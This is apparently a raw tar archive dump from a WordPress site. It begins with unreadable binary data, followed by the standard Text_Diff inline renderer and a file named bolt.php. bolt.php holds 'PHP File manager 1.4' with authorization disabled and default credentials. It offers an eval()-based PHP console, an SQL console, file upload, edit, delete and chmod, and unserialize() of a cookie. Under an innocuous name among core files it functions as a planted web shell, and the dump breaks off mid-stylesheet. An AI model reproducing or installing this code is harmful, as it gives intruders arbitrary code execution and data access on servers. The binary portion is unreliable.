4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
